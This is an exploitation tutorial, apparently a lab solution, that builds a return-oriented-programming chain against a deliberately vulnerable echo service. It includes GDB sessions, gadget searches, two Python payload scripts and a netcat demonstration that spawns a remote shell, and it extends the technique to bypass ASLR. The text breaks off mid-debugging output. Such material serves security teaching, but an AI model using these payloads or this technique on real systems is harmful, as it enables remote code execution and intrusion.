Check the payload.py
script in the gadget-tutorial/
subfolder in the solutions archive.
cat
over the script file to print it.
By going through the echo_service.c
file we see that in the echo_service()
function we use read()
for reading 4096
bytes when we only have 1024
available for a the buf
buffer. We can use this to create a return-oriented programming (ROP) attack.
Let's first consider our steps.
buf
buffer and rewrites the return address of the echo_service()
function triggering the attack (the ROP chain).dup2(sockfd, 1);
dup2(sockfd, 0);
system("/bin/sh");
netcat
to send the payload to the server to trigger the attack.We aim for the stack to be the one below:
0x00000000 ... start address of buf ... +--------------------------------+ | dup2() address | <--- return address for echo_service() +--------------------------------+ | pop_pop_ret gadget address | +--------------------------------+ | 4 | +--------------------------------+ | 1 | +--------------------------------+ | dup2() address | +--------------------------------+ | pop_pop_ret gadget address | +--------------------------------+ | 4 | +--------------------------------+ | 0 | +--------------------------------+ | system() address | +--------------------------------+ | junk | +--------------------------------+ | "/bin/sh" address | +--------------------------------+ ... 0xFFFFFFFF
In the above figure we will overflow the buf
buffer and overwrite the return address for the echo_service()
function with the first part of the ROP chain: the address of the dup2()
function. Once the dup2()
function returns it will call a ROP gadget that pops two values: the dup2()
function arguments (4
is sockfd
and 0
and 1
are standard input and standard output file descriptors respectively). Then another dup2()
function gets called and then system("/bin/sh")
. Because this needs the address of the "/bin/sh"
string it could only happen on non-ASLR enabled system; but we'll use some tricks to trick it into running on an ASLR-enabled system as well.
We can use strace
to check that 4
is indeed the socket file descriptor:
$ strace -f -e accept,read ./echo_service 7000 [ Process PID=20460 runs in 32 bit mode. ] read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512 accept(3, {sa_family=AF_INET, sin_port=htons(39480), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4 Process 20617 attached [pid 20460] accept(3, <unfinished ...> [pid 20617] read(4, "anaaremere\n", 4096) = 11 [pid 20617] +++ exited with 0 +++ <... accept resumed> 0xbffff348, [16]) = ? ERESTARTSYS (To be restarted if SA_RESTART is set) --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=20617, si_uid=1000, si_status=0, si_utime=0, si_stime=0} --- accept(3,
This makes sense since 0
, 1
and 2
are the standard file descriptors and 3
is used as the listening socket file descriptor. Then 4
is the connect socket returned by the accept()
system call (the return value is 4
) and then used by the read()
system call (the first argument is 4
).
On the client side, we had issued a netcat
command to connect to the server and deliver the "anaaremere"
string:
$ nc localhost 7000 ============================================== Welcome to the Echo service ============================================== For your free trial, we will only echo 1024 bytes back to you If you need more, contact our sales representatives at legit_services@lol.cat anaaremere Got it! Here it is: anaaremere
We'll first get all the required data for creating the payload, then we'll create and run the non-ASLR enabled attack and then we'll use the ASLR-enabled attacks.
Let's first use GDB to gather all the required data for creating the payload. We need:
echo_service()
function against the start of the buf
bufferdup2()
function inside PLT (in order to have an ASLR-independent address)system()
function inside PLT"/bin/sh"
stringpop
instructions followed by a ret
The make_it_easy()
function in our source code is used to help us get access to dup2()
and system()
addresses through PLT.
We'll use pattc
and patto
in GDB PEDA to find out the offset of the return address against the start of the buf
buffer:
$ gdb -q ./echo_service Reading symbols from ./echo_service...(no debugging symbols found)...done. gdb-peda$ start 7000 [...] gdb-peda$ pattc 1500 'AAA%AAsAABAA$AAnAACAA... gdb-peda$ c Continuing. [New process 26535] Program received signal SIGSEGV, Segmentation fault. [Switching to process 26535] [----------------------------------registers-----------------------------------] EAX: 0xffffffff EBX: 0xb7f9f000 --> 0x1a5da8 ECX: 0xffffffbc EDX: 0x5dd ESI: 0x0 EDI: 0x0 EBP: 0x41256e41 ('An%A') ESP: 0xbffff240 ("BAn$AnnAnCAn... [...] Stopped reason: SIGSEGV 0x6e41736e in ?? () gdb-peda$ patto nsAn nsAn found at offset: 1040
The pattern generated through GDB on the server side is fed to the server through the use of the netcat
command
$ nc localhost 7000 ============================================== Welcome to the Echo service ============================================== For your free trial, we will only echo 1024 bytes back to you If you need more, contact our sales representatives at legit_services@lol.cat AAA%AAsAABAA$AAnAACAA-...
The offset is 1040
bytes.
We'll use the info address
command in GDB to find out the addresses of dup2()
and system()
inside PLT:
gdb-peda$ info address dup2@plt Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging. gdb-peda$ info address system@plt Symbol "system@plt" is at 0x8048670 in a file compiled without debugging.
The addresses are:
0x80485f0
for dup2()
0x8048670
for system()
We'll use searchmem
to find out the address of the "/bin/sh"
string inside the standard C library mappings (this only works on non-ASLR enabled systems):
gdb-peda$ searchmem /bin/sh Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0xb7f561a9 ("/bin/sh")
The address for "/bin/sh"
is 0xb7f561a9
.
We'll use dumprop
to determine the address of a ROP gadget using two pop
instructions followed by a ret
instruction:
gdb-peda$ dumprop Warning: this can be very slow, do not run for large memory range Writing ROP gadgets to file: echo_service-rop.txt ... 0x8048906: ret 0x804877f: repz ret 0x80487ae: ret 0xeac1 0x8048799: leave; ret 0x8048b6f: pop ebp; ret 0x8048904: dec ecx; ret 0x8048e1c: inc ecx; ret 0x80485c9: pop ebx; ret 0x8048b7f: nop; repz ret 0x8048798: ror cl,1; ret 0x804877e: add dh,bl; ret 0x80487d5: ror cl,cl; ret 0x80487fb: leave; repz ret 0x8048761: sbb al,0x24; ret 0x8048e1b: adc al,0x41; ret 0x8048760: mov ebx,[esp]; ret 0x8048b7e: nop; nop; repz ret 0x8048797: call eax; leave; ret 0x80487d4: call edx; leave; ret 0x80487fa: add ecx,ecx; repz ret 0x8048b6e: pop edi; pop ebp; ret 0x804877d: ja 0x8048781; repz ret 0x80487b6: jne 0x80487ba; repz ret 0x8048796: or bh,bh; ror cl,1; ret 0x804875f: nop; mov ebx,[esp]; ret --More--(25/147)q
The address of the gadget is 0x8048b6e
: pop edi; pop ebp; ret
.
We'll use these data to construct the payload.
Based on the above information we create the following Python file for printing out the payload:
#!/usr/bin/env python import sys import struct # 0x8048b6e: pop edi; pop ebp; ret pop_pop_ret = 0x8048b6e # libc : 0xb7f561a9 ("/bin/sh") bin_sh = 0xb7f561a9 # Symbol "system@plt" is at 0x8048670 in a file compiled without debugging. system_plt = 0x8048670 # Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging. dup2_plt = 0x80485f0 # Offset from buffer start to function return address is 1040. payload = 1040*"A" # Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1): # * address of dup2() # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) # * dup2 arguments: sockfd (4) and standard output (1) payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0) # Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0): # * address of dup2() # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) # * dup2 arguments: sockfd (4) and standard input (0) payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1) # Add ROP for system("/bin/sh") # * address of dup2() # * return address for system(): we don't care, just use zero # * system argument: address of "/bin/sh" payload += struct.pack("<III", system_plt, 0, bin_sh) sys.stdout.write(payload)
The payload creates a padding of 1040
characters and then creates the ROP chain as discussed above:
$ python payload-no-aslr.py | xxd 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA [...] 00000410: f085 0408 6e8b 0408 0400 0000 0000 0000 ....n........... 00000420: f085 0408 6e8b 0408 0400 0000 0100 0000 ....n........... 00000430: 7086 0408 0000 0000 a961 f5b7 p........a..
We run the payload on a non-ASLR system. We have deactivated ASLR and we check that:
$ ldd echo_service linux-gate.so.1 (0xb7ffd000) libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000) /lib/ld-linux.so.2 (0x41000000) $ ldd echo_service linux-gate.so.1 (0xb7ffd000) libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000) /lib/ld-linux.so.2 (0x41000000) $ ldd echo_service linux-gate.so.1 (0xb7ffd000) libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7e19000) /lib/ld-linux.so.2 (0x41000000)
Let's first test the payload by running the server under GDB. We'll break after the read()
overflow and at the end of the echo_service()
function to do checks while running the payload and netcat
on another console:
$ gdb -q ./echo_service Reading symbols from ./echo_service...(no debugging symbols found)...done. gdb-peda$ start 7001 [...] gdb-peda$ set follow-fork-mode child gdb-peda$ b echo_service Breakpoint 2 at 0x8048857 gdb-peda$ c [...] Breakpoint 2, 0x08048857 in echo_service () gdb-peda$ pdis Dump of assembler code for function echo_service: 0x0804884e <+0>: push ebp 0x0804884f <+1>: mov ebp,esp 0x08048851 <+3>: sub esp,0x428 => 0x08048857 <+9>: mov DWORD PTR [esp+0x4],0x8048ba0 0x0804885f <+17>: mov eax,DWORD PTR [ebp+0x8] 0x08048862 <+20>: mov DWORD PTR [esp],eax 0x08048865 <+23>: call 0x8048630 <dprintf@plt> 0x0804886a <+28>: mov DWORD PTR [esp+0x4],0x8048bd0 0x08048872 <+36>: mov eax,DWORD PTR [ebp+0x8] 0x08048875 <+39>: mov DWORD PTR [esp],eax 0x08048878 <+42>: call 0x8048630 <dprintf@plt> 0x0804887d <+47>: mov DWORD PTR [esp+0x4],0x8048ba0 0x08048885 <+55>: mov eax,DWORD PTR [ebp+0x8] 0x08048888 <+58>: mov DWORD PTR [esp],eax 0x0804888b <+61>: call 0x8048630 <dprintf@plt> 0x08048890 <+66>: mov DWORD PTR [esp+0x4],0x8048bf0 0x08048898 <+74>: mov eax,DWORD PTR [ebp+0x8] 0x0804889b <+77>: mov DWORD PTR [esp],eax 0x0804889e <+80>: call 0x8048630 <dprintf@plt> 0x080488a3 <+85>: mov DWORD PTR [esp+0x4],0x8048c30 0x080488ab <+93>: mov eax,DWORD PTR [ebp+0x8] 0x080488ae <+96>: mov DWORD PTR [esp],eax 0x080488b1 <+99>: call 0x8048630 <dprintf@plt> 0x080488b6 <+104>: mov DWORD PTR [esp+0x8],0x1000 0x080488be <+112>: lea eax,[ebp-0x40c] 0x080488c4 <+118>: mov DWORD PTR [esp+0x4],eax 0x080488c8 <+122>: mov eax,DWORD PTR [ebp+0x8] 0x080488cb <+125>: mov DWORD PTR [esp],eax 0x080488ce <+128>: call 0x8048600 <read@plt> 0x080488d3 <+133>: mov DWORD PTR [ebp-0xc],eax 0x080488d6 <+136>: mov DWORD PTR [esp+0x4],0x8048c7f 0x080488de <+144>: mov eax,DWORD PTR [ebp+0x8] 0x080488e1 <+147>: mov DWORD PTR [esp],eax 0x080488e4 <+150>: call 0x8048630 <dprintf@plt> 0x080488e9 <+155>: mov eax,DWORD PTR [ebp-0xc] 0x080488ec <+158>: mov DWORD PTR [esp+0x8],eax 0x080488f0 <+162>: lea eax,[ebp-0x40c] 0x080488f6 <+168>: mov DWORD PTR [esp+0x4],eax 0x080488fa <+172>: mov eax,DWORD PTR [ebp+0x8] 0x080488fd <+175>: mov DWORD PTR [esp],eax 0x08048900 <+178>: call 0x80486b0 <write@plt> 0x08048905 <+183>: leave 0x08048906 <+184>: ret End of assembler dump. gdb-peda$ b *0x080488d3 Breakpoint 3 at 0x80488d3 gdb-peda$ b *0x08048906 Breakpoint 4 at 0x8048906 gdb-peda$ c [...] Breakpoint 3, 0x080488d3 in echo_service () gdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] EAX: 0xffffffff EBX: 0xb7f9f000 --> 0x1a5da8 ECX: 0xffffffbc EDX: 0x43c ESI: 0x0 EDI: 0x0 EBP: 0x41414141 ('AAAA') ESP: 0xbffff23c --> 0x80485f0 (<dup2@plt>: jmp DWORD PTR ds:0x804a010) EIP: 0x8048906 (<echo_service+184>: ret) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80488fd <echo_service+175>: mov DWORD PTR [esp],eax 0x8048900 <echo_service+178>: call 0x80486b0 <write@plt> 0x8048905 <echo_service+183>: leave => 0x8048906 <echo_service+184>: ret 0x8048907 <doprocessing>: push ebp 0x8048908 <doprocessing+1>: mov ebp,esp 0x804890a <doprocessing+3>: sub esp,0x18 0x804890d <doprocessing+6>: mov eax,DWORD PTR [ebp+0x8] [------------------------------------stack-------------------------------------] 0000| 0xbffff23c --> 0x80485f0 (<dup2@plt>: jmp DWORD PTR ds:0x804a010) 0004| 0xbffff240 --> 0x8048b6e (<__libc_csu_init+94>: pop edi) 0008| 0xbffff244 --> 0x4 0012| 0xbffff248 --> 0x0 0016| 0xbffff24c --> 0x80485f0 (<dup2@plt>: jmp DWORD PTR ds:0x804a010) 0020| 0xbffff250 --> 0x8048b6e (<__libc_csu_init+94>: pop edi) 0024| 0xbffff254 --> 0x4 0028| 0xbffff258 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 4, 0x08048906 in echo_service () gdb-peda$ context stack 11 [------------------------------------stack-------------------------------------] 0000| 0xbffff23c --> 0x80485f0 (<dup2@plt>: jmp DWORD PTR ds:0x804a010) 0004| 0xbffff240 --> 0x8048b6e (<__libc_csu_init+94>: pop edi) 0008| 0xbffff244 --> 0x4 0012| 0xbffff248 --> 0x0 0016| 0xbffff24c --> 0x80485f0 (<dup2@plt>: jmp DWORD PTR ds:0x804a010) 0020| 0xbffff250 --> 0x8048b6e (<__libc_csu_init+94>: pop edi) 0024| 0xbffff254 --> 0x4 0028| 0xbffff258 --> 0x1 0032| 0xbffff25c --> 0x8048670 (<system@plt>: jmp DWORD PTR ds:0x804a030) 0036| 0xbffff260 --> 0x0 0040| 0xbffff264 --> 0xb7f561a9 ("/bin/sh") [------------------------------------------------------------------------------] Legend: code, data, rodata, value gdb-peda$ c Continuing. [New process 17858] process 17858 is executing new program: /bin/dash Warning: Cannot insert breakpoint 3. Cannot access memory at address 0x80488d3 Cannot insert breakpoint 4. Cannot access memory at address 0x8048906
On the client side we run netcat
:
$ (python payload-no-aslr.py; cat) | nc localhost 7001 ============================================== Welcome to the Echo service ============================================== For your free trial, we will only echo 1024 bytes back to you If you need more, contact our sales representatives at legit_services@lol.cat [...]
We can see that the stack right before returning from the echo_service()
function was similar to the stack figure above. All is OK.
Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment and ASLR is disabled.
--- on the server side --- $ ./echo_service 7002 --- on the client side --- $ (python payload-no-aslr.py; cat) | nc localhost 7002 ============================================== Welcome to the Echo service ============================================== For your free trial, we will only echo 1024 bytes back to you If you need more, contact our sales representatives at legit_services@lol.cat ls echo_service echo_service-rop.txt echo_service.c payload-aslr-alt.py payload-aslr.py payload-no-aslr.py peda-session-echo_service.txt ps PID TTY TIME CMD 14269 pts/3 00:00:00 echo_service 16413 pts/3 00:00:00 echo_service <defunct> 18249 pts/3 00:00:00 bash 21341 pts/3 00:00:00 echo_service 21393 pts/3 00:00:00 echo_service 21394 pts/3 00:00:00 sh 21395 pts/3 00:00:00 sh 21470 pts/3 00:00:00 ps 26088 pts/3 00:00:00 echo_service 26535 pts/3 00:00:00 echo_service <defunct>
Excellent! We have created a shell by calling system("/bin/sh")
through ROP.
Let's try the same thing on an ASLR-enabled system:
--- server side --- $ ldd echo_service linux-gate.so.1 (0xf7772000) libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf758e000) /lib/ld-linux.so.2 (0xf7775000) $ ldd echo_service linux-gate.so.1 (0xf778a000) libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75a6000) /lib/ld-linux.so.2 (0xf778d000) $ ./echo_service 7004 --- client side --- $ (python payload-no-aslr.py; cat) | nc localhost 7004 ============================================== Welcome to the Echo service ============================================== For your free trial, we will only echo 1024 bytes back to you If you need more, contact our sales representatives at legit_services@lol.cat ls $ dmesg | tail -1 [425842.224264] echo_service[24545]: segfault at 0 ip (null) sp 00000000ffece254 error 14 in echo_service[8048000+1000]
It doesn't work due to the "/bin/sh
string being placed differently into memory. We need something different. We need a way to store a "/bin/sh"
string in a place that isn't influenced by ASLR. We show that in the next section.
The random placement of the "/bin/sh"
string due to ASLR is problematic. What we would aim to do is write the string somewhere in memory at a fixed address.
Our idea is to use a read()
call on the socket to read the "/bin/sh"
string into a fixed address area. We will then use that address for the system()
call. We can call read()
as part of the ROP chain. We aim for the stack to be the one below:
0x00000000 ... start address of buf ... +--------------------------------+ | dup2() address | <--- return address for echo_service() +--------------------------------+ | pop_pop_ret gadget address | +--------------------------------+ | 4 | +--------------------------------+ | 1 | +--------------------------------+ | dup2() address | +--------------------------------+ | pop_pop_ret gadget address | +--------------------------------+ | 4 | +--------------------------------+ | 0 | +--------------------------------+ | read() address | +--------------------------------+ | pop_pop_pop_ret gadget addr | +--------------------------------+ | 4 | +--------------------------------+ | fixed writable address | +--------------------------------+ | 8 | +--------------------------------+ | system() address | +--------------------------------+ | junk | +--------------------------------+ | fixed writable address | +--------------------------------+ ... 0xFFFFFFFF
In the above figure we add the read()
call using three parameters:
4
)"/bin/sh"
string we provide will be stored"/bin/sh\0"
: we place a NUL-byte at the end)
We need an additional gadget that pops 3 times and the uses a ret
instruction in order to pop the tree parameters of read()
.
We need the following in order to create the payload that gets us to the above stack configuration:
read()
address in PLTpop
instructions followed by a ret
instruction"/bin/sh\0"
string that will be fed through the socketFor the first two addresses we use GDB:
$ gdb -q ./echo_service Reading symbols from ./echo_service...(no debugging symbols found)...done. gdb-peda$ start 7006 [...] gdb-peda$ info address read@plt Symbol "read@plt" is at 0x8048600 in a file compiled without debugging. gdb-peda$ dumprop Warning: this can be very slow, do not run for large memory range Writing ROP gadgets to file: echo_service-rop.txt ... 0x8048906: ret 0x804877f: repz ret 0x80487ae: ret 0xeac1 0x8048799: leave; ret 0x8048b6f: pop ebp; ret 0x8048904: dec ecx; ret 0x8048e1c: inc ecx; ret 0x80485c9: pop ebx; ret 0x8048b7f: nop; repz ret 0x8048798: ror cl,1; ret 0x804877e: add dh,bl; ret 0x80487d5: ror cl,cl; ret 0x80487fb: leave; repz ret 0x8048761: sbb al,0x24; ret 0x8048e1b: adc al,0x41; ret 0x8048760: mov ebx,[esp]; ret 0x8048b7e: nop; nop; repz ret 0x8048797: call eax; leave; ret 0x80487d4: call edx; leave; ret 0x80487fa: add ecx,ecx; repz ret 0x8048b6e: pop edi; pop ebp; ret 0x804877d: ja 0x8048781; repz ret 0x80487b6: jne 0x80487ba; repz ret 0x8048796: or bh,bh; ror cl,1; ret 0x804875f: nop; mov ebx,[esp]; ret --More--(25/147) 0x8048b7d: nop; nop; nop; repz ret 0x80487d3: or bh,bh; ror cl,cl; ret 0x80485c6: add esp,0x8; pop ebx; ret 0x8048e1a: push cs; adc al,0x41; ret 0x8048849: hlt; call eax; leave; ret 0x80485c7: les ecx,[eax]; pop ebx; ret 0x80487f9: or [ecx],al; leave; repz ret 0x80487b5: clc; jne 0x80487ba; repz ret 0x8048b7c: nop; nop; nop; nop; repz ret 0x8048793: push 0xff0804a0; ror cl,1; ret 0x804875e: xchg ax,ax; mov ebx,[esp]; ret 0x8048b6d: pop esi; pop edi; pop ebp; ret 0x80487f7: mov al,ds:0xc9010804; repz ret 0x804877c: push es; ja 0x8048781; repz ret 0x8048779: or [ebx+0x27706f8],al; repz ret 0x80487d0: push 0xff0804a0; ror cl,cl; ret 0x80487f6: push 0x10804a0; leave; repz ret 0x8048795: add al,0x8; call eax; leave; ret 0x80487d1: mov al,ds:0xd2ff0804; leave; ret 0x8048794: mov al,ds:0xd0ff0804; leave; ret 0x80487d2: add al,0x8; call edx; leave; ret 0x80487f8: add al,0x8; add ecx,ecx; repz ret 0x8048b7b: nop; nop; nop; nop; nop; repz ret 0x8048848: inc ebp; hlt; call eax; leave; ret 0x80487b4: sar eax,1; jne 0x80487ba; repz ret --More--(50/147)q gdb-peda$
The address of read()
in PLT is 0x8048600
The address of the ROP gadget is 0x8048b6d
: pop esi; pop edi; pop ebp; ret
.
For the fixed writable address we inspect the executable using readelf
:
$ readelf -S echo_service There are 30 section headers, starting at offset 0x11bc: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048174 000174 000013 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 08048188 000188 000020 00 A 0 0 4 [ 3] .hash HASH 080481a8 0001a8 0000a8 04 A 5 0 4 [ 4] .gnu.hash GNU_HASH 08048250 000250 00002c 04 A 5 0 4 [ 5] .dynsym DYNSYM 0804827c 00027c 000170 10 A 6 1 4 [ 6] .dynstr STRTAB 080483ec 0003ec 0000bb 00 A 0 0 1 [ 7] .gnu.version VERSYM 080484a8 0004a8 00002e 02 A 5 0 2 [ 8] .gnu.version_r VERNEED 080484d8 0004d8 000020 00 A 6 1 4 [ 9] .rel.dyn REL 080484f8 0004f8 000008 08 A 5 0 4 [10] .rel.plt REL 08048500 000500 0000a8 08 A 5 12 4 [11] .init PROGBITS 080485a8 0005a8 000023 00 AX 0 0 4 [12] .plt PROGBITS 080485d0 0005d0 000160 04 AX 0 0 16 [13] .text PROGBITS 08048730 000730 000454 00 AX 0 0 16 [14] .fini PROGBITS 08048b84 000b84 000014 00 AX 0 0 4 [15] .rodata PROGBITS 08048b98 000b98 00015c 00 A 0 0 4 [16] .eh_frame_hdr PROGBITS 08048cf4 000cf4 000044 00 A 0 0 4 [17] .eh_frame PROGBITS 08048d38 000d38 00010c 00 A 0 0 4 [18] .init_array INIT_ARRAY 08049f00 000f00 000004 00 WA 0 0 4 [19] .fini_array FINI_ARRAY 08049f04 000f04 000004 00 WA 0 0 4 [20] .jcr PROGBITS 08049f08 000f08 000004 00 WA 0 0 4 [21] .dynamic DYNAMIC 08049f0c 000f0c 0000f0 08 WA 6 0 4 [22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4 [23] .got.plt PROGBITS 0804a000 001000 000060 04 WA 0 0 4 [24] .data PROGBITS 0804a060 001060 000008 00 WA 0 0 4 [25] .bss NOBITS 0804a068 001068 000004 00 WA 0 0 4 [26] .comment PROGBITS 00000000 001068 000060 01 MS 0 0 1 [27] .shstrtab STRTAB 00000000 0010c8 0000f3 00 0 0 1 [28] .symtab SYMTAB 00000000 00166c 0004c0 10 29 33 4 [29] .strtab STRTAB 00000000 001b2c 0002eb 00 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific)
We see that we have access to the .data
section with a length of 8
bytes, exactly what we need. We'll use that address (0x0804a060
) as a fixed writable address where to store the "/bin/sh\0"
string that will be fed through the socket.
This is all the information we need to construct the payload.
Based on the above information we create the following Python file for printing out the payload:
#!/usr/bin/env python import sys import struct # 0x8048b6e: pop edi; pop ebp; ret pop_pop_ret = 0x8048b6e # 0x8048b6d: pop esi; pop edi; pop ebp; ret pop_pop_pop_ret = 0x8048b6d # libc : 0xb7f561a9 ("/bin/sh") bin_sh = 0xb7f561a9 # Symbol "system@plt" is at 0x8048670 in a file compiled without debugging. system_plt = 0x8048670 # Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging. dup2_plt = 0x80485f0 # Symbol "read@plt" is at 0x8048600 in a file compiled without debugging. read_plt = 0x8048600 # [24] .data PROGBITS 0804a060 data = 0x0804a060 # Offset from buffer start to function return address is 1040. payload = 1040*"A" # Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1): # * address of dup2() # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) # * dup2 arguments: sockfd (4) and standard output (1) payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0) # Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0): # * address of dup2() # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) # * dup2 arguments: sockfd (4) and standard input (0) payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1) # Add ROP for read(sockfd, data, len), i.e. read(4, 0x0804a060, 8) # * address of read() # * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret) # * read arguments: 4, data address, 8 bytes for /bin/sh\n payload += struct.pack("<IIIII", read_plt, pop_pop_pop_ret, 4, data, 8) # Add ROP for system("/bin/sh") # * address of dup2() # * return address for system(): we don't care, just use zero # * system argument: address of "/bin/sh" payload += struct.pack("<III", system_plt, 0, data) sys.stdout.write(payload)
The payload creates a padding of 1040
characters and then creates the ROP chain as discussed above:
$ python payload-aslr.py | xxd 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA [...] 00000410: f085 0408 6e8b 0408 0400 0000 0000 0000 ....n........... 00000420: f085 0408 6e8b 0408 0400 0000 0100 0000 ....n........... 00000430: 0086 0408 6d8b 0408 0400 0000 60a0 0408 ....m.......`... 00000440: 0800 0000 7086 0408 0000 0000 60a0 0408 ....p.......`..
We run the payload on an ASLR-enabled system:
$ ldd echo_service linux-gate.so.1 (0xf7733000) libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf754f000) /lib/ld-linux.so.2 (0xf7736000) $ ldd echo_service linux-gate.so.1 (0xf775b000) libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7577000) /lib/ld-linux.so.2 (0xf775e000)
Let's first test the payload by running the server under GDB. We'll break after the read()
overflow and at the end of the echo_service()
function to do checks while running the payload and netcat
on another console:
--- server side --- $ gdb -q ./echo_service Reading symbols from ./echo_service...(no debugging symbols found)...done. gdb-peda$ start 7008 [...] gdb-peda$ b echo_service Breakpoint 2 at 0x8048857 gdb-peda$ c [...] Breakpoint 2, 0x08048857 in echo_service () gdb-peda$ pdis Dump of assembler code for function echo_service: 0x0804884e <+0>: push ebp 0x0804884f <+1>: mov ebp,esp 0x08048851 <+3>: sub esp,0x428 => 0x08048857 <+9>: mov DWORD PTR [esp+0x4],0x8048ba0 0x0804885f <+17>: mov eax,DWORD PTR [ebp+0x8] 0x08048862 <+20>: mov DWORD PTR [esp],eax 0x08048865 <+23>: call 0x8048630 <dprintf@plt> 0x0804886a <+28>: mov DWORD PTR [esp+0x4],0x8048bd0 0x08048872 <+36>: mov eax,DWORD PTR [ebp+0x8] 0x08048875 <+39>: mov DWORD PTR [esp],eax 0x08048878 <+42>: call 0x8048630 <dprintf@plt> 0x0804887d <+47>: mov DWORD PTR [esp+0x4],0x8048ba0 0x08048885 <+55>: mov eax,DWORD PTR [ebp+0x8] 0x08048888 <+58>: mov DWORD PTR [esp],eax 0x0804888b <+61>: call 0x8048630 <dprintf@plt> 0x08048890 <+66>: mov DWORD PTR [esp+0x4],0x8048bf0 0x08048898 <+74>: mov eax,DWORD PTR [ebp+0x8] 0x0804889b <+77>: mov DWORD PTR [esp],eax 0x0804889e <+80>: call 0x8048630 <dprintf@plt> 0x080488a3 <+85>: mov DWORD PTR [esp+0x4],0x8048c30 0x080488ab <+93>: mov eax,DWORD PTR [ebp+0x8] 0x080488ae <+96>: mov DWORD PTR [esp],eax 0x080488b1 <+99>: call 0x8048630 <dprintf@plt> 0x080488b6 <+104>: mov DWORD PTR [esp+0x8],0x1000 0x080488be <+112>: lea eax,[ebp-0x40c] 0x080488c4 <+118>: mov DWORD PTR [esp+0x4],eax 0x080488c8 <+122>: mov eax,DWORD PTR [ebp+0x8] 0x080488cb <+125>: mov DWORD PTR [esp],eax 0x080488ce <+128>: call 0x8048600 <read@plt> 0x080488d3 <+133>: mov DWORD PTR [ebp-0xc],eax 0x080488d6 <+136>: mov DWORD PTR [esp+0x4],0x8048c7f 0x080488de <+144>: mov eax,DWORD PTR [ebp+0x8] 0x080488e1 <+147>: mov DWORD PTR [esp],eax 0x080488e4 <+150>: call 0x8048630 <dprintf@plt> 0x080488e9 <+155>: mov eax,DWORD PTR [ebp-0xc] 0x080488ec <+158>: mov DWORD PTR [esp+0x8],eax 0x080488f0 <+162>: lea eax,[ebp-0x40c] 0x080488f6 <+168>: mov DWORD PTR [esp+0x4],eax 0x080488fa <+172>: mov eax,DWORD PTR [ebp+0x8] 0x080488fd <+175>: mov DWORD PTR [esp],eax 0x08048900 <+178>: call 0x80486b0 <write@plt> 0x08048905 <+183>: leave 0x08048906 <+184>: ret End of assembler dump. gdb-peda$ b *0x080488d3 Breakpoint 3 at 0x80488d3 gdb-peda$ b *0x08048906 Breakpoint 4 at 0x8048906 gdb-peda$ c [...] Breakpoint 3, 0x080488d3 in echo_service () gdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] EAX: 0xffffffff EBX: 0xf7f9d000 --> 0x1a5da8 ECX: 0xffffffbc EDX: 0x450 ESI: 0x0 EDI: 0x0 EBP: 0x41414141 ('AAAA') ESP: 0xffffd28c --> 0x80485f0 (<dup2@plt>: jmp DWORD PTR ds:0x804a010) EIP: 0x8048906 (<echo_service+184>: ret) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80488fd <echo_service+175>: mov DWORD PTR [esp],eax 0x8048900 <echo_service+178>: call 0x80486b0 <write@plt> 0x8048905 <echo_service+183>: leave => 0x8048906 <echo_service+184>: ret 0x8048907 <doprocessing>: push ebp 0x8048908 <doprocessing+1>: mov ebp,esp 0x804890a <doprocessing+3>: sub esp,0x18 0x804890d <doprocessing+6>: mov eax,DWORD PTR [ebp+0x8] [------------------------------------stack-------------------------------------] 0000| 0xffffd28c --> 0x80485f0 (<dup2@plt>: jmp DWORD PTR ds:0x804a010) 0004| 0xffffd290 --> 0x8048b6e (<__libc_csu_init+94>: pop edi) 0008| 0xffffd294 --> 0x4 0012| 0xffffd298 --> 